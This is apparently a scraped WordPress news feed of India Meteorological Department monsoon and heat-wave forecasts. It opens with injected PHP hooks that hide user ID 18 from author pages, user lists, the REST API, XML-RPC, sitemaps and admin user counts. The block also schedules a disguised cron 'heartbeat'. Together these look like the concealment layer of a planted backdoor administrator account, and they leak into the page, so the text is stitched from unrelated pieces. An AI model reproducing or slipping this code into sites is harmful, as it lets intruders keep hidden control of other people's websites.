add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Southwest monsoon to revive from Thursday : IMD appeared first on The Edge Media.
]]>Central and adjoining peninsular India will experience enhanced rainfall activities during the next 2-3 days, the weather department said in its forecast. There will be fairly widespread rainfall in Gujarat, Maharashtra, Odisha, Jharkhand and Gangetic West Bengal on Wednesday and Thursday, the IMD further said.
The activity will continue over Madhya Pradesh on Friday too, according to the weather department. East Uttar Pradesh and Uttarakhand are expected to witness isolated heavy rainfall starting Thursday which will continue till Saturday. Himachal Pradesh, Haryana, Chandigarh, Delhi and West Uttar Pradesh will get rainfall for two days – Friday and Saturday – the IMD said.
The IMD has issued an orange alert for moderate rain in Delhi. The precipitation is expected to bring the maximum temperature down to 32 degrees Celsius in three to four days, it said.
The Northeast India, meanwhile, will continue to receive widespread rainfall activity for the next two days, after which the IMD has predicted a decrease in intensity.
Fairly widespread rainfall activity with isolated heavy falls is very likely over Bihar from August 20 to 22, according to IMD.
Weather experts said “good rainfall” in the last 10 days of the month is expected to cover the precipitation deficit in the national capital.
Normally, Delhi gauges 247.7mm rainfall in August. The IMD had earlier predicted normal rainfall for Delhi this month.
In July, the monsoon had entered the first break phase even before reaching most parts of northwest India, including Delhi.
The post Southwest monsoon to revive from Thursday : IMD appeared first on The Edge Media.
]]>The post Southwest monsoon likey to reach northwest India in the next few days : IMD appeared first on The Edge Media.
]]>The lower-level easterly winds from the Bay of Bengal have extended northwestwards, reaching up to Delhi, Haryana and east Rajasthan as on Saturday, the Met department said, adding that low-level relative humidity has also increased over the region.
Hence, the conditions continue to remain favourable for further advancement of southwest monsoon over Delhi, remaining parts of west Uttar Pradesh and some more parts of Punjab, Haryana and Rajasthan during the next 24 hours,” the IMD said.
Under the influence of these conditions, the department said fairly widespread to widespread rainfall is very likely over northwest India during the next five days.
It also projected isolated heavy rainfall in Jammu, Kashmir, Ladakh, Gilgit-Baltistan and Muzaffarabad, Himachal Pradesh, Punjab and Uttarakhand during July 10-13. Heavy rainfall is expected over Haryana, Chandigarh and Delhi and west Uttar Pradesh during July 11-13 and over east Rajasthan during July 10-12.
The post Southwest monsoon likey to reach northwest India in the next few days : IMD appeared first on The Edge Media.
]]>The post Southwest Monsoon to hit the remaining areas by July 10 appeared first on The Edge Media.
]]>A low pressure area is likely to form over west-central and adjoining northwest Bay of Bengal off north Andhra Pradesh-south Odisha coasts around July 11, it said.
The moist easterly winds in lower level from Bay of Bengal is likely to establish gradually over parts of eastern India from July 8 onwards. It is likely to spread into northwest India covering Punjab and north Haryana by July 10.
“Accordingly, southwest monsoon (is) likely to advance over remaining parts of west Uttar Pradesh, some more parts of Punjab, Haryana and Rajasthan and Delhi around 10th July,” the IMD said.
After a good spell of rains in the first two and half weeks of June, the Southwest Monsoon has not advanced further since June 19.
The post Southwest Monsoon to hit the remaining areas by July 10 appeared first on The Edge Media.
]]>The post Heat Waves To Pertain In Several States In India appeared first on The Edge Media.
]]>Heat wave conditions are expected throughout Punjab, Haryana, Delhi, north Rajasthan, and Uttar Pradesh in the next two days, according to the India Meteorological Department (IMD). In a previous advisory, IMD stated that the southwest monsoon has yet to reach areas of Rajasthan, Delhi, Haryana, and Punjab. The northern boundary of the southwest monsoon (NLM) passes through Barmer, Bhilwara, Dholpur, Aligarh, Meerut, Ambala, and Amritsar
The post Heat Waves To Pertain In Several States In India appeared first on The Edge Media.
]]>The post IMD issues weather forecast report on Southwest moonsoon. appeared first on The Edge Media.
]]>On Sunday, the India Meteorological Department (IMD) issued a forecast based on large-scale features that showed no favourable condition.
The numerical models’ wind patterns do not indicate any favourable conditions for sustained rainfall over the region during the forecast period, according to the IMD.
The weather department said fairly widespread to widespread rainfall with isolated heavy to very heavy falls is very likely over east Uttar Pradesh and Bihar during the next 24 hours, with significant reduction in rainfall activity thereafter, due to the influence of a low-pressure area over southeast Uttar Pradesh and its surroundings.
The weather department also predicted widespread rainfall with isolated heavy falls over Uttarakhand during next 24 hours and significant reduction in rain fall activity thereafter.
IMD further said moderate to severe thunderstorms accompanied by frequent cloud to ground lightning is very likely over east Uttar Pradesh and Bihar during next 24 hours.
The post IMD issues weather forecast report on Southwest moonsoon. appeared first on The Edge Media.
]]>